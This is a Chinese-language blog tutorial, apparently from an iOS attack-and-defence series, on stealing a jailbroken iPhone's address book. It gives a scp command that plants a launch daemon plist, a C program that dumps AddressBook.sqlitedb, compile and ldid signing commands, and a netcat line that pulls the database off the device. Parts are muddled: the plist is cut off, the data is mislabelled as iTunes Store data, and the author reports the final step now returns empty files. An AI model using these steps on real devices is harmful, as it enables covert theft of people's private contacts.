iOS攻防:如何竊取使用者的通訊錄資訊
阿新 • • 發佈:2018-12-29
說明
2016年7月15更新,最近試了一下,發現用nc拿不到資料了,拿資料的程式碼是沒有問題的,直接執行可以拿到資料,但是從mac通過IP和埠拿到的.sqlitedb檔案是空檔案,博主也正在看為什麼~大家有興趣可以一起找一下原因。
簡介
本文章基於念茜的iOS攻防系列。
本文將會講解如何竊取使用者的通訊錄資訊。
同樣在越獄手機環境下。
hack
1. 需要一個plist
需要這樣一個plist,它看起來是這樣:
原始檔是這樣:
XHTML1234567891011121314151617181920212223242526272829 | <?xml version="1.0"encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Program</key><string> |
SockServiceName指的是通訊名稱
將plist檔案傳送到至iPhone/System/Library/LaunchDaemons/ 下
1 | scp/Users/zhoulingyu/Desktop/hack.plist root@192.168.31.152:/System/Library/LaunchDaemons/hack.plist |
2. 瞭解一下OS X的啟動原理
- mac韌體啟用,初始化硬體,載入BootX引導器。
- BootX載入核心與核心擴充套件(kext)。
- 核心啟動launchd程序。
- launchd根據/System/Library/LaunchAgents、/System/Library/LaunchDaemons、/Library/LaunchDaemons、Library/LaunchAgents、~/Library/LaunchAgents裡的plist配置,啟動服務守護程序
解釋一下:
LaunchDaemons是使用者未登陸前就啟動的服務(守護程序)
LaunchAgents是使用者登陸後啟動的服務(守護程序)
幾個目錄下plist檔案格式及每個欄位的含義:
KEY | DESCRIPTION | REQUIRED |
---|---|---|
Label | The name of the job | yes |
ProgramArguments | Strings to pass to the program when it is executed | yes |
UserName | The job will be run as the given user, who may not necessarily be the one who submitted it to launchd. | no |
inetdCompatibility | Indicates that the daemon expects to be run as if it were launched by inetd | no |
Program | The path to your executable. This key can save the ProgramArguments key for flags and arguments. | no |
onDemand | A boolean flag that defines if a job runs continuously or not | no |
RootDirectory | The job will be?chrooted?into another directory | no |
ServiceIPC | Whether the daemon can speak IPC to launchd | no |
WatchPaths | Allows launchd to start a job based on modifications at a file-system path | no |
QueueDirectories | Similar to WatchPath, a queue will only watch an empty directory for new files | no |
StartInterval | Used to schedule a job that runs on a repeating schedule. Specified as the number of seconds to wait between runs. | no |
StartCalendarInterval | Job scheduling. The syntax is similar to cron. | no |
HardResourceLimits | Controls restriction of the resources consumed by any job | no |
LowPriorityIO | Tells the kernel that this task is of a low priority when doing file system I/O | no |
Sockets | An array can be used to specify what socket the daemon will listen on for launch on demand | no |
iOS基本類似,我基本是參照這個來的。
所以上面的plist實際上是要求系統啟動一個程序。
一個名為hack
的程序,可執行檔案的路徑是/usr/bin/hack。
3. 編寫讀取通訊錄資料程式
iTunes Store的資料都在/var/mobile/Library/AddressBook/AddressBook.sqlitedb
中,只要能能拿出AddressBook.sqlitedb就可以非法拿到使用者的資料。
那麼現在編寫一個程式:
Objective-C12345678910111213141516171819 | #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #define FILE "/var/mobile/Library/AddressBook/AddressBook.sqlitedb" intmain(){intfd=open(FILE,O_RDONLY);charbuf[128];intret=0;if(fd<0)return-1;while((ret=read(fd,buf,sizeof(buf)))>0){write(fileno(stdout),buf,ret);}close(fd);return0;} |
用同樣的方法編譯、傳輸:
1 | xcrun-sdk iphoneos clang-arch armv7-ohack hack.c |
簽名:
12 | ldid-Shackmv hack/usr/bin |
4. 抓取 iTunesstore 資料資訊
利用netcat,指定之前定義的服務名稱,抓取裝置 iTunesstore 資訊:
1 | nc192.168.31.15255>itunesstored2.sqlitedb |
OK,在MAC檢視一下內容。
有什麼問題都可以在博文後面留言,或者微博上私信我,或者郵件我[email protected]。
博主主要寫javaEE和iOS的。
希望大家一起進步。
我的微博:小魚周凌宇